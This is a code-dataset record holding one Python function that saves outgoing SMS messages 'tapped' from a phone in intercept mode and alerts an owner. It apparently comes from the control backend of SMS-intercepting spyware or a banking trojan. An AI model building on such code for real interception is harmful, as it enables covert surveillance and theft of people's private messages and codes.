parameters: (rec, data)
docstring: Records outgoing tapped SMS
      @param rec: Phone data record
      @type rec: models.PhoneData
      @param data: Phone data
      @type data: dict
      @rtype: None
docstring_summary: Records outgoing tapped SMS
docstring_tokens: Records outgoing tapped SMS
function: def intercepted_sms_out(rec, data):
      """
      Records outgoing tapped SMS
      @param rec: Phone data record
      @type rec: models.PhoneData
      @param data: Phone data
      @type data: dict
      @rtype: None
      """
      if rec.owner_id is None or rec.sms_status != models.PhoneData.SMS_INTERCEPT:
          logger.warn("The phone {0} is not intercepting")
      sms_to = data.get('to')
      sms_text = data.get('text')
      sms_owner = rec.owner if isinstance(rec.owner, models.SysUser) else None
      obj = models.SMSRecord.objects.create(dest=sms_to, contents=sms_text, phone=rec, owner=sms_owner,
                                            intercepted=True)
      msg = {
          'info': "Intercepted SMS to {0}".format(sms_to),
          'sms': {'from': 'n/a', 'to': sms_to, 'text': sms_text, 'id': obj.id}
      }
      sys_messages.add_message(rec.uniq_id, msg)
function_tokens: def intercepted_sms_out ( rec , data ) : if rec . owner_id is None or rec . sms_status != models . PhoneData . SMS_INTERCEPT : logger . warn ( "The phone {0} is not intercepting" ) sms_to = data . get ( 'to' ) sms_text = data . get ( 'text' ) sms_owner = rec . owner if isinstance ( rec . owner , models . SysUser ) else None obj = models . SMSRecord . objects . create ( dest = sms_to , contents = sms_text , phone = rec , owner = sms_owner , intercepted = True ) msg = { 'info' : "Intercepted SMS to {0}" . format ( sms_to ) , 'sms' : { 'from' : 'n/a' , 'to' : sms_to , 'text' : sms_text , 'id' : obj . id } } sys_messages . add_message ( rec . uniq_id , msg )